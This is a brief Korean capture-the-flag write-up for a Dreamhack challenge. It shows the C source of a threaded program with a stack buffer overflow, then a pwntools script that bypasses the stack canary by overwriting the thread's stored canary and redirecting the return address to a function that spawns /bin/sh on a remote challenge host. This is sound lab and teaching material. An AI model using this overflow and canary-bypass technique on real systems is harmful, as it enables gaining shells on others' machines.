문제 값 하게 canary overwrite or leak 해주어야 할 것 같다.
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void giveshell() { execve("/bin/sh", 0, 0); }
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int read_bytes (char *buf, int len) {
int idx = 0;
int read_len = 0;
for (idx = 0; idx < len; idx++) {
int ret;
ret = read(0, buf+idx, 1);
if (ret < 0) {
return read_len;
}
read_len ++;
}
return read_len;
}
void thread_routine() {
char buf[256];
int size = 0;
printf("Size: ");
scanf("%d", &size);
printf("Data: ");
//read(0, buf, size);
read_bytes(buf, size);
}
int main() {
pthread_t thread_t;
init();
if (pthread_create(&thread_t, NULL, (void *)thread_routine, NULL) < 0) {
perror("thread create error:");
exit(0);
}
pthread_join(thread_t, 0);
return 0;
}
Canary를 leak할 방법은 마땅히 떠오르지 않는다.
그렇다면 우리가 Canary를 임의로 설정해주면 되겠다. 실제로 thread_routine 내에서는 canary와 주소가 가까우므로 가능할 것이다. 그렇다면 그 함수의 RET를 get_shell로 덮으면 되겠다.
from pwn import *
#p = process('./mc_thread')
p = remote('host3.dreamhack.games', 17268)
giveshell_addr = 0x400877
payload = "A" * 0x118
payload += p64(giveshell_addr)
payload += "A" * (0x948 + 8 - len(payload))
p.recvuntil('Size: ')
p.sendline(str(0x948 + 8))
p.recvuntil('Data: ')
p.send(payload)
p.interactive()